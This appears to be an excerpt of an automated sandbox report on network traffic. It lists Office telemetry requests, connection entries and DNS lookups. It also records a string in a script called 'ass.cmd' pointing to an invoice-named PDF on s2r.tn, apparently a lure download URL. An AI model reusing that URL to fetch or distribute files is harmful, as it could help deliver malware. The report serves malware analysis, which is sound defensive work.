Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: s2r.tn
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 26 Oct 2024 11:44:49 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 26 Oct 2024 11:44:49 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: ass.cmd

String found in binary or memory: https://s2r.tn/cgi/INVOICERVSHA.pdf

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
